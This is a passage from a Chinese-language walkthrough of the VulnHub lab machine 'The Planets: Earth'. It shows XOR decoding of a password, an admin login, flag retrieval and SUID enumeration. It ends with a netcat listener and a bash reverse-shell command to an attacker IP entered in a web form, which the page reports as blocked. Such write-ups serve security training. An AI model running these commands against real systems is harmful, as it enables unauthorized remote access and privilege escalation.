vulnhub靶场之THE PLANETS: EARTH( 二 )


文章插图
解码传输信息
#vlunhub之THE PLANETS: EARTH脚本import binasciientry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."#将pass_txt转换成16进制pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')#进行xor运算result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')#将运算结果转换成字符串datatext = binascii.unhexlify(result).decode('utf-8')print(datatext)#脚本结果earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

vulnhub靶场之THE PLANETS: EARTH

文章插图
观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:
vulnhub靶场之THE PLANETS: EARTH

文章插图
获取flag
根据题目描述这题是要寻找两个flag:
vulnhub靶场之THE PLANETS: EARTH

文章插图
因此通过find查找flag文件,find / -name "*flag*",
vulnhub靶场之THE PLANETS: EARTH

文章插图
然后读取下/var/earth_web/user_flag.txt文件的信息,cat /var/earth_web/user_flag.txt,获取到flag值:
vulnhub靶场之THE PLANETS: EARTH

文章插图
获取root权限
观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限
vulnhub靶场之THE PLANETS: EARTH

文章插图
首先获取下root权限下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:
vulnhub靶场之THE PLANETS: EARTH

文章插图
尝试执行一下,但是重置密码失败
vulnhub靶场之THE PLANETS: EARTH

文章插图
那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688
vulnhub靶场之THE PLANETS: EARTH

文章插图
在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了

经验总结扩展阅读